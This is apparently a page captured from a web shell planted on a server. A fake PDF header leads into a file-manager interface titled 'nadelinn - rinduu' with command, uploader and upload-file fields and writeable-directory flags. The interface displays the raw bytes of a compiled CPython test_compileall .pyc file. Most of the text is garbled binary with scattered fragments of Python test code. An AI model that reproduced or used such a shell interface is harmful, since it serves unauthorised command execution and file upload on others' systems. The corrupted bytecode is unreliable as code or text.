%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_compileall.cpython-39.opt-2.pyc
a

�_g&��@s�ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlmZmZzddlmZdZWney�dZYn0ddlmZddlmZdd	lmZdd
lmZdd�Zd
d�Zdd�Z Gdd�d�Z!Gdd�de!ej"edd�Z#Gdd�de!ej"edd�Z$Gdd�dej"�Z%Gdd�d�Z&Gdd�de&ej"edd�Z'Gdd�de&ej"edd�Z(Gd d!�d!�Z)Gd"d#�d#e)ej"edd�Z*Gd$d%�d%e)ej"edd�Z+e,d&k�r�e�-�dS)'�N)�mock�
skipUnless)�ProcessPoolExecutorTF)�support)�
script_helper�)�without_source_date_epoch)�SourceDateEpochTestMetacCs|sd}tjj||d�S)N���optimization)�	importlib�util�cache_from_source)�script�opt�r�3/vddos/python/lib/python3.9/test/test_compileall.py�get_pyc srcs�fdd�dD�S)Ncsg|]}t�|��qSr)r)�.0r�rrr�
<listcomp>(�zget_pycs.<locals>.<listcomp>�rr�rrrrr�get_pycs'srcCs t�|�j}t�|�j}||kS�N)�os�stat�st_ino)Z	filename1�	filename2Zinode1Zinode2rrr�is_hardlink+sr!c@sPeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Ze�d�dd��Zd d!�Ze�d�d"d#��Ze�d�e�d$�d%d&���Zejdd'd(�e�d$�d)d*���Zd+d,�Zd-d.�d/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Zd=d>�Z d?d@�Z!dAdB�Z"e#j$dCdD��Z%d'S)E�CompileallTestsBasecCs�t��|_tj�|jd�|_tj�	|j�|_
t|jd��}|�d�Wd�n1sX0Ytj�|jd�|_
tj�	|j
�|_t�|j|j
�tj�|jd�|_t�|j�tj�|jd�|_t�|j|j�dS)N�_test.py�wzx = 123
z	_test2.pyZ_subdirz	_test3.py)�tempfile�mkdtemp�	directoryr�path�join�source_pathr
rr�bc_path�open�write�source_path2�bc_path2�shutil�copyfileZsubdirectory�mkdir�source_path3��self�filerrr�setUp4s
(zCompileallTestsBase.setUpcCst�|j�dSr�r0�rmtreer'�r5rrr�tearDownBszCompileallTestsBase.tearDowncCsLtj�|jd�|_t|jd��}|�d�Wd�n1s>0YdS)Nz_test_bad.pyr$zx (
)rr(r)r'�bad_source_pathr,r-r4rrr�add_bad_source_fileEsz'CompileallTestsBase.add_bad_source_filecCsdt|jd��}|�d�}Wd�n1s,0Ytt�|j�j�}t�	dt
jjd|�}||fS)N�rb��<4sllr)
r,r+�read�intrrr*�st_mtime�struct�packr
r�MAGIC_NUMBER)r5r6�data�mtimeZcomparerrr�timestamp_metadataJs
(z&CompileallTestsBase.timestamp_metadatacCs�tj�d�rt�d��t�|j�|j|�	��t
|jd��$}|��t
|�d�}Wd�n1sf0Yt
|jd��$}|�|�|�|�Wd�n1s�0Y|j|�	��tj|jddd�|j|�	��dS)N�SOURCE_DATE_EPOCHzSOURCE_DATE_EPOCH is setr>�wbFT��force�quiet)r�environ�get�unittest�SkipTest�
py_compile�compiler*�assertEqualrIr,r+rA�lenr-�assertNotEqual�
compileall�compile_dirr'�
assertTrue)r5�metadatar6�bcrrr�recreation_checkQs
2
(z$CompileallTestsBase.recreation_checkcCs|�t�dtjjdd��dS)Nr@rr)r]rDrEr
rrFr:rrr�
test_mtimeas�zCompileallTestsBase.test_mtimecCs|�d�dS)Ns)r]r:rrr�test_magic_numberfsz%CompileallTestsBase.test_magic_numbercCs|j|jfD] }zt�|�WqYq0q|�tj|jddd��|�tj�	|j�oftj�	|j��t�|j�|�tj
|jddd��|�tj�	|j�o�tj�	|j��t�|j�t�|j�|��|�
tj|jddd��|�
tj
|jddd��dS)NFTrLr)r+r/r�unlinkrZrX�compile_filer*r(�isfilerYr'r=�assertFalser<)r5�fnrrr�test_compile_filesjs6������z&CompileallTestsBase.test_compile_filescCs||�tj�|j��t���(}|�t�	t
�|j���Wd�n1sJ0Y|�
|��d�|�tj�|j��dS)Nz&Compiling ([^WindowsPath|PosixPath].*))rcrr(rbr+r�captured_stdoutrZrXra�pathlib�Pathr*�assertRegex�getvalue)r5�stdoutrrr�test_compile_file_pathlike�s

6z.CompileallTestsBase.test_compile_file_pathlikecCsP|�tj�|j��|�tjt�	|j
�t�	d�dd��|�tj�|j��dS)NZ	ddir_pathr)�ddirrN)rcrr(rbr+rZrXrargrhr*r:rrr�test_compile_file_pathlike_ddir�s�z3CompileallTestsBase.test_compile_file_pathlike_ddircCs�tjjj|jgd��"|�tjdd��Wd�n1s<0Ytjjj|jgd��.|��|�	tjdddd��Wd�n1s�0YdS)N�r(r�rNFT)�skip_curdirrMrN)
�test�test_importlibrZimport_stater'rZrX�compile_pathr=rcr:rrr�test_compile_path�s0
�z%CompileallTestsBase.test_compile_pathcCs|tj�|jd�}tj�|d�}t�|�t|d��Wd�n1sH0Yt�|�|�tj�	tj�|d���dS)NrGr6r$�__pycache__)
rr(r)r'r2r,rXrarc�exists)r5Zdata_dirZ	data_filerrr�test_no_pycache_in_non_package�s

z2CompileallTestsBase.test_no_pycache_in_non_packagecCs�drdnd\}}tj|jd|d�tjj|j|d�}|�tj	�
|��tjj|j|d�}|�tj	�
|��tjj|j|d�}|�tj	�
|��dS)NF)rr)rr
T�rN�optimizer)
rXrYr'r
rrr*rZrr(rbr.r3)r5rzr�cachedZcached2Zcached3rrr�
test_optimize�s
�
�
�z!CompileallTestsBase.test_optimizecCs�|�tj�|j��t���"}t�t	�
|j��Wd�n1sD0Y|���
�d}|�|d�|�tj�|j��dS)Nrz$Listing ([^WindowsPath|PosixPath].*))rcrr(rbr+rrfrXrYrgrhr'rj�
splitlinesrirZ)r5rk�linerrr�test_compile_dir_pathlike�s
0z-CompileallTestsBase.test_compile_dir_pathlikez&concurrent.futures.ProcessPoolExecutorcCs"tj|jddd�|�|j�dS�NT��rN�workers�rXrYr'rZ�called�r5�	pool_mockrrr�test_compile_pool_called�sz,CompileallTestsBase.test_compile_pool_calledcCs@|�td�� tj|jdd�Wd�n1s20YdS)Nz%workers must be greater or equal to 0���)r�)ZassertRaisesRegex�
ValueErrorrXrYr'r:rrr�!test_compile_workers_non_positive�s�z5CompileallTestsBase.test_compile_workers_non_positivecCs,tj|jddd�|�|jddd�dS)NTrr�r�max_workers)rXrYr'rU�	call_argsr�rrr�test_compile_workers_cpu_count�sz2CompileallTestsBase.test_compile_workers_cpu_countzcompileall.compile_filecCs,tj|jdd�|�|j�|�|j�dS)NTrp)rXrYr'rcr�rZ)r5�compile_file_mockr�rrr�test_compile_one_worker�sz+CompileallTestsBase.test_compile_one_workerN��newcCs"tj|jddd�|�|j�dSr�r�)r5r�rrr�$test_compile_missing_multiprocessing�sz8CompileallTestsBase.test_compile_missing_multiprocessingcCs�d}|j}td|d�D]>}tj�|d|���}tj�|d�}t�|�t�|j|�qt	j
�|�}tj
|jd|dd�|�tj�|��tj
|jd|d�|�tj�|��dS)N�rZdir_z	script.pyT)rN�	maxlevels)r'�rangerr(r)r2r0r1r*r
rrrXrYrcrbrZ)r5�depthr(�i�sourceZpyc_filenamerrr�test_compile_dir_maxlevels�s
z.CompileallTestsBase.test_compile_dir_maxlevelsT)�parallelcCsddg}|j}g}|D]>}tj�||�}t�|�t�|dd�|�t�|dd��qtj	|jd||rjdnd	d
�|�
|�|D]�}|�
|�|j�|�tj
�|�}|t|jtj�d�}	t�|�\}
}
}tj�||	�}tjj
�|�}
|�|
j|�|�d|�d�t�|��q�dS)Nrr�foo�__init__r
�modzdef fn(): 1/0
fn()
Trr)rNrmr��")r'rr(r)r2r�make_script�appendrXrYrZ�
startswithr
rrrV�sep�assert_python_failurerrrsZget_code_from_pycrU�co_filename�assertIn�fsdecode)r5rmr��fullpathr(ZmodsZsubdirr�Zmodcode�modpath�_�err�expected_inZmod_code_objrrr�_test_ddir_only�s0
�
�
z#CompileallTestsBase._test_ddir_onlycCs|jddd�S)N�
<a prefix>F�rmr��r�r:rrr�test_ddir_only_one_workersz-CompileallTestsBase.test_ddir_only_one_workercCs|jddd�S)Nr�Tr�r�r:rrr�test_ddir_multiple_workerssz.CompileallTestsBase.test_ddir_multiple_workerscCs|jddd�S)Nr
Fr�r�r:rrr�test_ddir_empty_only_one_workersz3CompileallTestsBase.test_ddir_empty_only_one_workercCs|jddd�S)Nr
Tr�r�r:rrr� test_ddir_empty_multiple_workerssz4CompileallTestsBase.test_ddir_empty_multiple_workersc
Cs�gd�}tjj|jg|�R�}t�|�t�|dd�}tj�	|�}tjj|jg|dd��R�}t
j|d|d�t�|�\}}}tjj|dd��}	|�
|	t|t��d��|�|t|t��d��dS)N�rr�build�realr(rr�1 / 0rT)rN�stripdir��encoding�rr(r)r'�makedirsrr�r
rrrXrYr�r��str�sys�getdefaultencoding�assertNotIn)
r5r�r(rr\r��rc�outr�r�rrr�test_strip_onlys"
��z#CompileallTestsBase.test_strip_onlyc
Cs�gd�}tjj|jg|�R�}t�|�t�|dd�}tj�	|�}d}t
j|d|d�t�|�\}}}tjj||jg|�R�}	|�
|	t|t��d��dS)Nr�rrr��/fooT)rN�
prependdirr�)rr(r)r'r�rr�r
rrrXrYr�r�r�r�r�)
r5r�r(rr\r�r�r�r�r�rrr�test_prepend_only's
�z%CompileallTestsBase.test_prepend_onlycCs�gd�}tjj|jg|�R�}t�|�t�|dd�}tj�	|�}tjj|jg|dd��R�}d}t
j|d||d�t�|�\}}}	tjj|g|dd��R�}
|�
|
t|	t��d��|�|t|	t��d��dS)	Nr�rrr�rr�T)rNr�r�r�r��r5r�r(rr\r�r�r�r�r�r�rrr�test_strip_and_prepend6s(
���z*CompileallTestsBase.test_strip_and_prependcCsxgd�}tjj|jg|�R�}t�|�t�|dd�|�t��$t	j
|ddddd�Wd�n1sj0YdS)N)rrr�r�r(rmrrr�Tz/barr�)rNrmr�r�)rr(r)r'r�rr��assertRaisesr�rXrY)r5r�r(rrr�test_strip_prepend_and_ddirKs

�z/CompileallTestsBase.test_strip_prepend_and_ddirc
Cs�t�|jdd�}g}dD]}|�tjj||d��qddgddgddggd�g}|D]Z}tj|d	|d
�|D]@}|�	t
j�||��zt
�
||�Wqlty�Yql0qlqTdS)N�test_optimization�a = 0�r
rrr�rrrrrTry)rr�r'r�r
rrrXrarZrr(rbr`�	Exception)r5rr\�	opt_level�test_combinations�opt_combinationrrr�!test_multiple_optimization_levelsTs(��
�z5CompileallTestsBase.test_multiple_optimization_levelsc
Cs�tj�|jddd�}tj�|jddd�}tj�|jddd�}t�|�t�|�t�|�t�|dd�}t�|dd�}tj�|d	�}tj�|d
�}t�||�t�||�tj	�
|�}tj	�
|�}	tj|d|d�|�
tj�|��|�tj�|	��dS)
Nrr�dir�allowed�symlinks�
prohibited�test_allowedr��test_prohibited�test_allowed.py�test_prohibited.pyT)rN�
limit_sl_dest)rr(r)r'r�rr��symlinkr
rrrXrYrZrbrc�
r5Zallowed_pathZ
symlinks_pathZprohibited_pathZallowed_scriptZprohibited_scriptZallowed_symlinkZprohibited_symlinkZ
allowed_bcZ
prohibited_bcrrr�test_ignore_symlink_destinationgs"


z3CompileallTestsBase.test_ignore_symlink_destination)&�__name__�
__module__�__qualname__r7r;r=rIr]r^r_rerlrnrurxr|rr�patchr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�skip_unless_symlinkr�rrrrr"2sL	

	r"c@seZdZdS)�CompileallTestsWithSourceEpochN�r�r�r�rrrrr��sr�)�	metaclassZsource_date_epochc@seZdZdS)�!CompileallTestsWithoutSourceEpochNr�rrrrr��sr�c@s$eZdZdd�Zdd�Zdd�ZdS)�EncodingTestcCsdt��|_tj�|jd�|_t|jddd��$}|�d�|�d�Wd�n1sV0YdS)Nr#r$�utf-8r�z# -*- coding: utf-8 -*-
u
print u"€"
)	r%r&r'rr(r)r*r,r-r4rrrr7�s


zEncodingTest.setUpcCst�|j�dSrr8r:rrrr;�szEncodingTest.tearDowncCs>z0tj}tjt��dd�t_t�|j�W|t_n|t_0dS)N�asciir�)r�rk�io�
TextIOWrapper�BytesIOrXrYr')r5Zorig_stdoutrrr�
test_error�s
zEncodingTest.test_errorN)r�r�r�r7r;r�rrrrr��sr�c@s�eZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Ze
dd��Zdd�ZddgfdddgfdddgffD]&\ZZZeefdd �Zee�d!e<q�d"d#�Zd$d%�Ze
d&d'��Zd(d)�Zd*d+�Zejd,d-��Zd.d/�Zd0d1�Zd2d3�Zd4d5�Z d6d7�Z!d8d9�Z"d:d;�Z#d<d=�Z$d>d?�Z%d@dA�Z&dBdC�Z'dDdE�Z(dFdG�Z)e*e+dH�dIdJ��Z,e-�.dK�dLdM��Z/dNdO�Z0dPdQ�Z1ejdRdS��Z2dTdU�Z3dVdW�Z4dXS)Y�CommandLineTestsBasecCsttjjtj�D]�}d}t�|�d}|d}z�zL|��sF|��d}|�	d��}|�
d�Wd�n1sp0YWn8ty�d}YWt�
t|��|r�|��q�Yn0Wt�
t|��|r�|��qt�
t|��|r�|��0qd}||_dS)NFrvztest.tryTr$z# for test_compileall)�filterrr(�isdirr�rgrh�is_dirr2r,r-�OSErrorrr`r��rmdir�_sys_path_writable)�clsr(Zdirectory_createdr'r6Zsys_path_writablerrr�
setUpClass�s2,�
�zCommandLineTestsBase.setUpClasscCs|jst�d��dS)Nz(not all entries on sys.path are writable)r�rQrRr:rrr�_skip_if_sys_path_not_writable�sz3CommandLineTestsBase._skip_if_sys_path_not_writablecCsgt���d�d�d�|�S)Nz-S�-mrX)rZ!optim_args_from_interpreter_flags)r5�argsrrr�
_get_run_args�s
����z"CommandLineTestsBase._get_run_argscOs4tj|�|�i|�ddi��\}}}|�d|�|S)N�PYTHONIOENCODINGr�r)r�assert_python_okr�rU�r5r�Zenv_varsr�r�r�rrr�assertRunOK�s���z CommandLineTestsBase.assertRunOKcOs.tj|�|�i|�ddi��\}}}|||fS)Nr�r�)rr�r�r�rrr�assertRunNotOK�s���z#CommandLineTestsBase.assertRunNotOKcCs"tj�|�}|�tj�|��dSr)r
rrrZrr(rw�r5rdr(rrr�assertCompiled�sz#CommandLineTestsBase.assertCompiledcCs"tj�|�}|�tj�|��dSr)r
rrrcrr(rwrrrr�assertNotCompiled�sz&CommandLineTestsBase.assertNotCompiledcCsrt��|_|�tj|j�tj�|jd�|_	t�
|j	�tj�|j	d�|_t�
|j	dd�|_t�
|j	dd�|_dS)Nr�rvr�r
Zbar)r%r&r'Z
addCleanuprr9rr(r)�pkgdirr2�pkgdir_cachedirrr��initfn�barfnr:rrrr7�s
zCommandLineTestsBase.setUpcCsL|��t�|jdd�}|j|jd�|�|�|�|j�|�|j�dS)N�bazr
��
PYTHONPATH)	r�rr�r'rrrrr)r5�bazfnrrr�test_no_args_compiles_path�s
z/CommandLineTestsBase.test_no_args_compiles_pathcCs�|��t�|jdd�}|j|jd�tj�|�}t�	|t
�
�dfd�t�|�j}|j|jd�t�|�j}|�
||�|jd|jd�t�|�j}|�||�dS)Nr	r
r
�<r�-f)r�rr�r'rr
rrr�utime�timerrCrUrW)r5r�pycpathrH�mtime2rrr� test_no_args_respects_force_flag�sz5CommandLineTestsBase.test_no_args_respects_force_flagcCsR|��t�|jdd�|j|jd�}|�d|�|jd|jd�}|�d|�dS)Nr	r
r
sListing �-q)r�rr�r'rr�r��r5ZnoisyrNrrr� test_no_args_respects_quiet_flagsz5CommandLineTestsBase.test_no_args_respects_quiet_flagZnormal�pycrzz	opt-1.pyc�-OZdoubleoptimizez	opt-2.pycz-OOcs~tj|ddd|jg�|�tj�|j��t�fdd�dD��}|�	tt�
|j��|�|��fdd�t�
|j�D��dS)	Nr�rXrc3s|]}|�tjj��VqdSr)�formatr��implementation�	cache_tag)r�base��extrr�	<genexpr>s�z)CommandLineTestsBase.f.<locals>.<genexpr>)z__init__.{}.{}z	bar.{}.{}csg|]}|���r|�qSr)�endswith)rrdrrrrs
�z*CommandLineTestsBase.f.<locals>.<listcomp>)rr�rrZrr(rwr�sortedrU�listdirrc)r5r�switch�expectedrrr�fs��zCommandLineTestsBase.fZtest_pep3147_paths_cCsL|�dd|j�|�tj�|j��tgd��}|�tt�	|j��|�dS)Nz-br)�__init__.pyz__init__.pyczbar.pyzbar.pyc)
rrrcrr(rwrr"rUr#)r5r%rrr�test_legacy_pathssz&CommandLineTestsBase.test_legacy_pathscCs||�d|j�|�tj�|j��tj�|jd�}|�tj�|��|�d|j�|�tj�|j��|�tj�|��dS)Nrrv)	rrrZrr(rwrr)rc)r5Z
cachecachedirrrr�test_multiple_runs)sz'CommandLineTestsBase.test_multiple_runscCs�|�d|j�tj�|j�}t�|t��dfd�t�	|�j
}|�d|j�t�	|�j
}|�||�|�dd|j�t�	|�j
}|�||�dS)Nrrrr)
rrr
rrrrrrrrCrUrW)r5rrHrrrr�
test_force6szCommandLineTestsBase.test_forcecCs�tj�|jd�}t�|�t�|dd�}t�|dd�}|�dd|j�|�|�|�	tj�
tj�|d���|�d|j�|�|�|�|�dS)N�spamr�r
�hamrz-lrv)rr(r)rr2rr�rrrcrwr)r5�
subpackage�	subinitfn�hamfnrrr�test_recursion_controlFs


z+CommandLineTestsBase.test_recursion_controlc	CsVtj�|jd�}tj�|d�}tj�|d�}|||fD]}t�|�q6tj�|d�}t�|dd�}t�|dd�}t�|dd�}|�dd|j�|�|�|�	tj�
tj�|d	���|�dd
|j�|�|�|�|�|�|�|�dd|j�|�|�|�|�|�|�|�|�|�dd|j�|�|�|�|�|�|�|�|�dS)
Nr+r,Zeggsr'r
Zeggrz-r 0rvz-r 1z-r 2z-r 5)rr(r)rr�make_pkgr�rrrcrwr)	r5r-Zsubpackage2Zsubpackage3�pkgr.r/ZspamfnZeggfnrrr�test_recursion_limitRs8
�









z)CommandLineTestsBase.test_recursion_limitc	Csttj�|jd�}t�|�t�dtj�|d��t�dtj�|d��|�d|j�|�tj�|jdddd��dS)Nr+�.ZevilZevil2rr')	rr(r)rrr1r�rr)r5r2rrr�test_symlink_loopts

�z&CommandLineTestsBase.test_symlink_loopcCs6|�|j�}|�d|j�}|�d|�|�d|�dS)Nrr)rrrWrUrrrr�
test_quiet�szCommandLineTestsBase.test_quietcCsTt�|jdd�|�d|j�\}}}|�d|j�\}}}|�d|�|�d|�dS)N�crunchyfrog�
bad(syntaxrz-qqr)rr�rrrWrU)r5r�rNZsilentrrr�test_silent�s
z CommandLineTestsBase.test_silentcCs.|�ddd|j�|�|j�|�|j�dS)Nrz-xz
ba[^\\/]*$)rrrrrrr:rrr�test_regexp�sz CommandLineTestsBase.test_regexpcCsvtj�|jd�}t�|�t�|dd�}t�|dd�}|�d|j|�|�	|j
�|�	|j�|�	|�|�	|�dS)NZfoo2r�r
�bar2r)rr(r)r'r2rr�rrrrr)r5Zpkgdir2Zinit2fn�bar2fnrrr�test_multiple_dirs�s

z'CommandLineTestsBase.test_multiple_dirscCs8t�|jdd�|�ddd|j�\}}}|�|d�dS)Nr7r8r�-d�dinsdale�File "dinsdale)rr�rrri�r5r�r�r�rrr�test_d_compile_error�sz)CommandLineTestsBase.test_d_compile_errorcCs�t�|jdd�}|�ddd|j�t�|jdd�}tj�|�}t�|tj	�
|jd��t�|�tj|d	d
�\}}}|�
|d�dS)Nr	zraise Exceptionrr>r?�bingz
import bazzbaz.pycF)�
__isolatedr@)rr�rrr
rrr�renamer(r)�remover�ri)r5rrdrr�r�r�rrr�test_d_runtime_error�s
z)CommandLineTestsBase.test_d_runtime_errorcCsZ|�dtj�|jd�|j�\}}}|�|d�|�|d�|�tj�	t
j�|j
���dS)N�-i�
nosuchfilesrror.*nosuchfiles	Traceback)rrr(r)r'rriZassertNotRegexrcrwr
rrrrArrr�test_include_bad_file�s�
�z*CommandLineTestsBase.test_include_bad_filecCs�t�|jdd�}t�|jdd�}t�|jdd�}t�|jdd�}ttj�|jd�d��H}|�tj�|jd�tj	�|�tj�|jd	�tj	�Wd�n1s�0Y|�
d
tj�|jd�|�|�|�|�|�|�|�|�|�dS)N�f1r
�f2�f3�f4�l1r$�f1.py�f2.pyrH)
rr�rr,rr(r)r'r-�lineseprrr�r5rKrLrMrNrOrrr�test_include_file_with_arg�s:


z/CommandLineTestsBase.test_include_file_with_argcCs�t�|jdd�}t�|jdd�}t�|jdd�}t�|jdd�}ttj�|jd�d��,}|�tj�|jd�tj	�Wd�n1s�0Y|�
d	tj�|jd��|�|�|�|�|�|�|�|�dS)
NrKr
rLrMrNrOr$rQrH)
rr�rr,rr(r)r'r-rRrrrrSrrr�test_include_file_no_arg�s:


z-CommandLineTestsBase.test_include_file_no_argcCs�t�|jdd�}t�|jdd�}t�|jdd�}t�|jdd�}tj|�d�ddg�}|j�|tj�	d	��t�
|�|�|�|�|�|�|�|�|�dS)
NrKr
rLrMrNrrH�-r�)
rr�rZspawn_pythonr��stdinr-rrR�encodeZkill_pythonrr)r5rKrLrMrN�prrr�test_include_on_stdin�s



z*CommandLineTestsBase.test_include_on_stdincCs\t�|jdd�}|�d|j||j�\}}}|�|d�|�|�|�|j�|�|j�dS)NrCzsyntax(errorrIsrror)	rr�rrrrrirr)r5Zbingfnr�r�r�rrr�!test_compiles_as_much_as_possible�s
�

z6CommandLineTestsBase.test_compiles_as_much_as_possiblecCs|�d�}|�|d�dS)NZbadfilenamesCan't list 'badfilename')rri)r5r�rrr�!test_invalid_arg_produces_message�s
z6CommandLineTestsBase.test_invalid_arg_produces_messagecCs�t�|jdd�tj�tj�|jd��}|�	d|j�t
|d��}|��}Wd�n1s^0Y|�t
�|dd�d�d	�|�	d
|j�t
|d��}|��}Wd�n1s�0Y|�t
�|dd�d�d�dS)NrKr
rPz --invalidation-mode=checked-hashr>���littler�z"--invalidation-mode=unchecked-hashr)rr�rr
rrrr(r)rr,rArUrB�
from_bytes)r5r�fprGrrr�test_pyc_invalidation_mode�s�&&z/CommandLineTestsBase.test_pyc_invalidation_modezrequires multiprocessingcCs�t�|jdd�}g}td�D]F}tj�|jd�|��}t�|�t�|dd�}|�	t�|dd��q|�
|jdd�|�|�|D]}|�|�q�dS)Nr;r
r�zfoo{}r�z-j�0)rr�r'r�rr(r)rr2r�rr)r5r<�files�suffixrrdr6rrr�test_workers�s

z!CommandLineTestsBase.test_workerszcompileall.compile_dircCsftjdtj|jdgd��:t��|�|j�|�	|j
ddd�Wd�n1sX0YdS)Nzsys.argvz-j0r�r�r�r)rr�r��
executabler'rX�mainrZr�rUr�)r5rYrrr�test_workers_available_coress�z1CommandLineTestsBase.test_workers_available_corescCs�gd�}tjj|jg|�R�}t�|�t�|dd�}tj�	|�}tjj|jg|dd��R�}d}|�
d|d||�t�|�\}}}	tjj|g|dd��R�}
|�|
t
|	t��d��|�|t
|	t��d��dS)	Nr�rrr�rr�z-sz-pr�)rr(r)r'r�rr�r
rrrr�r�r�r�r�r�r�rrrr�s$
��z+CommandLineTestsBase.test_strip_and_prependc
Cs�tj�|jd�}t�|�t�|dd�}g}dD]}|�tj	j
||d��q0ddgddgddggd	�g}|D]j}|j|gd
d�|D��R�|D]D}|�tj�
|t|���zt�||�Wq�ty�Yq�0q�qldS)NZ
optimizationsr�r�r�rrc�1�2)rcrjrkcss|]}dt|�VqdS)z-oN)r�)r�nrrrr 2rzICommandLineTestsBase.test_multiple_optimization_levels.<locals>.<genexpr>)rr(r)r'r�rr�r�r
rrrrZrbrBr`r�)r5r(rr\r�r�r�rrrr�#s0
��
�z6CommandLineTestsBase.test_multiple_optimization_levelsc
Cs�tj�|jddd�}tj�|jddd�}tj�|jddd�}t�|�t�|�t�|�t�|dd�}t�|dd�}tj�|d	�}tj�|d
�}t�||�t�||�tj	�
|�}tj	�
|�}	|�|d|�|�tj�
|��|�tj�
|	��dS)Nrrr�r�r�r�r�r�r�r�r�z-e)rr(r)r'r�rr�r�r
rrrrZrbrcr�rrrr�:s"


z4CommandLineTestsBase.test_ignore_symlink_destinationcCs|�|jdd�dS)N�-o 1�--hardlink-dupes)rr'r:rrr�test_hardlink_bad_argsSsz+CommandLineTestsBase.test_hardlink_bad_argsc
Cs�dD]�}t����}|j|d���t�|dd�}t|�}gd�}|rL|�d�|j|g|�R�|�t	|d|d�|�|�t	|d|d	�|�|�t	|d|d	�|�Wd�n1s�0YWd�q1s�0YqdS)
N)TF��deduprr�)rz-o 0rmz-o 2rnrrr)
r%�TemporaryDirectory�subTestrr�rr�rrUr!)r5rqr(r�pycsr�rrr�
test_hardlinkXs

z"CommandLineTestsBase.test_hardlinkN)5r�r�r��classmethodr�r�r�rrrrr7r
rrr�namerr$r&�localsr(r)r*r0r3rr�r5r6r9r:r=rBrGrJrTrUrZr[r\rbr�_have_multiprocessingrfrr�rir�r�r�rorurrrrr��sd

	


�


"




	



r�c@seZdZdS)�CommandLineTestsWithSourceEpochNr�rrrrrznsrzc@seZdZdS)�CommandLineTestsNoSourceEpochNr�rrrrr{usr{c@s�eZdZdd�Zejdd��Zd#dd�Zdd	d
d�dd
�Zdd�Z	d$dd�Z
dd�Zdd�Zd%dd�Z
dd�Zdd�Zdd�Zdd�Zd d!�Zd"S)&�HardlinkDedupTestsBasecCs
d|_dSrror:rrrr7�szHardlinkDedupTestsBase.setUpccs>t���"}||_|Vd|_Wd�n1s00YdSr)r%rrr()r5r(rrr�temporary_directory�s
z*HardlinkDedupTestsBase.temporary_directoryrcCst�|j||�Sr)rr�r()r5�coderwrrrr��sz"HardlinkDedupTestsBase.make_scriptTrF)rqrzrMcCstj|jd|||d�dS)NT)rNrz�hardlink_dupesrM)rXrYr()r5rqrzrMrrrrY�s�z"HardlinkDedupTestsBase.compile_dirc	Cs�|����|�d�|�t��$tj|jdddd�Wd�n1sH0Y|�t��(tj|jdddgdd�Wd�n1s�0YWd�n1s�0YdS)N�passTr)rNrzr)r}r�r�r�rXrYr(r:rrr�
test_bad_args�s

�$�z$HardlinkDedupTestsBase.test_bad_argscCs4g}|r|�d�|�d�|r*|�d�d�|�S)Nz'module docstring'zx = 1z
assert x == 1�
)r�r))r5�	docstring�	assertion�linesrrr�create_code�s


z"HardlinkDedupTestsBase.create_codeccs2dD](}dD]}|j||d�}|||fVqqdS)N)FT�r�r�)r�)r5r�r�r~rrr�
iter_codes�sz!HardlinkDedupTestsBase.iter_codesc
Cs�|��D]�\}}}|j||d���|���v|�|�}t|�}|jdd�|�t|d|d��|�t|d|d��|�t|d|d��Wd�n1s�0YWd�q1s�0YqdS)Nr�Frprrr)r�rsr}r�rrYrcr!)r5r~r�r�rrtrrr�
test_disabled�s

z$HardlinkDedupTestsBase.test_disabledcCsft|�}|�t|d|d�|�|�t|d|d�|oB|�|�t|d|d�|�dS)Nrrr)rrUr!)r5rr�r�rtrrr�check_hardlinks�s�
��z&HardlinkDedupTestsBase.check_hardlinksc
Cs�|��D]�\}}}|j||d��X|���0|�|�}|��|�|||�Wd�n1s`0YWd�q1s~0YqdS)Nr�)r�rsr}r�rYr�)r5r~r�r�rrrrru�s

z$HardlinkDedupTestsBase.test_hardlinkc
Cs�dD]�}|j|d��~|���V|�|���}|j|d�t||d�}t||d�}|�t||��Wd�n1sz0YWd�q1s�0YqdS)N))rr)rr)rr)�opts�rzrr)rsr}r�r�rYrrZr!)r5r�r�pyc1�pyc2rrr�test_only_two_levels�s
z+HardlinkDedupTestsBase.test_only_two_levelscCsn|���R|�|���}|jgd�d�t|d�}t|d�}|�t||��Wd�n1s`0YdS)N)rrrrr�rr)r}r�r�rYrrZr!)r5rr�r�rrr�test_duplicated_levels�s


z-HardlinkDedupTestsBase.test_duplicated_levelscCs�|����|�d�}|��|�|�t|�}t�|d�j}|�d�}|jddgdd�|�|t�|d�j�|�	t
|d|d��|�|t�|d�j�|�t
j|d|ddd��Wd�n1s�0YdS)	Nr�r�print(0)rT)rzrMr��shallow)r}r�rYr�rrrrrUrZr!rWrc�filecmp�cmp�r5rrt�inoderrr�test_recompilation�s



z)HardlinkDedupTestsBase.test_recompilationcCs�|����|j|��dd�}|��|�|�t|�}t�|d�j}|jddd�}t	j
dddd|jd	�|�|t�|d�j�|�|t�|d
�j�|�
t|d|d
��|�
tj|d|d
dd
��Wd�n1s�0YdS)N�module)rwrr�rz-cz
import moduleF)rDrrrTr�)r}r�r�rYr�rrrrrr�r(rUrcr!r�r�r�rrr�test_import�s

�z"HardlinkDedupTestsBase.test_importN)r)FF)FF)r�r�r�r7�
contextlib�contextmanagerr}r�rYr�r�r�r�r�rur�r�r�r�rrrrr|}s


	
		
